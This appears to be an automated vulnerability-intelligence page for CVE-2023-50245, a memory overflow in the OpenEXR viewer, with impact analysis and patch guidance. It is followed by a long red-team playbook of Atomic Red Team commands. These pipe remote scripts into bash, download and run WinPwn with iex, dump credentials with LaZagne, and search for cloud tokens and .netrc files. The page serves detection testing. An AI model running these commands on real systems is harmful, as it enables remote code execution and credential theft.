CVE-2023-50245
Overview
This vulnerability is a stack-based buffer overflow (CWE-120) occurring in the OpenEXR-viewer component responsible for parsing and displaying metadata in OpenEXR image files. The root cause lies in improper bounds checking during memory operations when processing specific metadata fields, leading to an overflow condition in versions prior to 0.6.1. The flaw resides within the metadata probing functionality of the OpenEXR-viewer application.
Vulnerability Description
OpenEXR-viewer is a viewer for OpenEXR files with detailed metadata probing. Versions prior to 0.6.1 have a memory overflow vulnerability. This issue is fixed in version 0.6.1.
Impact
An unauthenticated attacker can exploit this vulnerability by convincing a user to open a specially crafted OpenEXR file with the vulnerable viewer. Successful exploitation allows arbitrary code execution, data corruption, or application crash due to memory corruption. Since the attack vector requires no user interaction beyond opening the malicious file, and no privileges or authentication are needed (CVSS vector AV:N/AC:L/PR:N/UI:N), this can lead to full compromise of the host running the viewer, potentially enabling lateral movement or data theft.
Solution
Users of afichet openexr-viewer should upgrade to version 0.6.1 or later, where the memory overflow issue is resolved. The vendor’s official security advisory GHSA-99jg-r3f4-rpxj and commit d0a7e85dfeb519951fb8a8d70f73f30d41cdd3d9 provide the patch details and instructions. No alternative mitigations or workarounds are documented; applying the update is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The memory overflow vulnerability in the OpenEXR viewer arises from improper handling of input data, specifically when processing OpenEXR files. This flaw allows an attacker to manipulate the metadata within these files, leading to a situation where the application writes more data to a buffer than it can accommodate. This overflow can corrupt memory, potentially allowing an attacker to execute arbitrary code or crash the application. The vulnerability is particularly concerning because it affects versions prior to 0.6.1, indicating that users who have not updated their software are at significant risk. The technical nature of this flaw highlights the importance of robust input validation and memory management practices in software development.
Attack vectors for exploiting this vulnerability are varied, but they primarily revolve around the distribution of malicious OpenEXR files. An attacker could embed harmful payloads within a seemingly benign file and then share it through various channels, such as email attachments, file-sharing services, or even on websites hosting digital content. Once a user opens the compromised file with the vulnerable version of the OpenEXR viewer, the overflow condition is triggered, potentially leading to unauthorized code execution. Additionally, attackers could leverage social engineering tactics to convince users to open these files, increasing the likelihood of successful exploitation.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on the OpenEXR viewer for processing high-fidelity images in industries such as film, animation, and visual effects. A successful exploitation could lead to data breaches, loss of intellectual property, or disruption of critical workflows. Furthermore, the high CVSS score of 9.8 indicates a critical vulnerability that could be leveraged for severe consequences, including system compromise and unauthorized access to sensitive data. The business risk is amplified by potential reputational damage, regulatory fines, and the costs associated with incident response and recovery efforts.
To detect and mitigate this vulnerability, organizations should prioritize updating the OpenEXR viewer to version 0.6.1 or later, where the issue has been addressed. Regular software updates and patch management practices are essential in maintaining a secure environment. Additionally, implementing security measures such as file integrity monitoring and intrusion detection systems can help identify attempts to exploit this vulnerability. Organizations should also educate their users about the risks associated with opening files from untrusted sources and encourage them to verify the integrity of files before use. By adopting a multi-layered security approach, organizations can significantly reduce the risk posed by this and similar vulnerabilities.
In conclusion, the memory overflow vulnerability in the OpenEXR viewer exemplifies the critical need for vigilance in software security practices. The potential for exploitation through malicious file manipulation poses a serious threat to organizations that utilize this software. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing effective detection and mitigation strategies, organizations can better protect themselves against this and other vulnerabilities. Continuous education and proactive security measures are vital in fostering a resilient cybersecurity posture in an ever-evolving threat landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Afichet | Openexr Viewer | All |
cpe:2.3:a:afichet:openexr_viewer:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
200101WhoAmI/CVE-2023-50245
exr viewer
|
200101WhoAmI | 0 | 0 | 2024-08-21 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-50245 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/afichet/openexr-viewer/security/advisories/GHSA-99jg-r3f4-rpxj |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/afichet/openexr-viewer/commit/d0a7e85dfeb519951fb8a8d70f73f30d41cdd3d9 |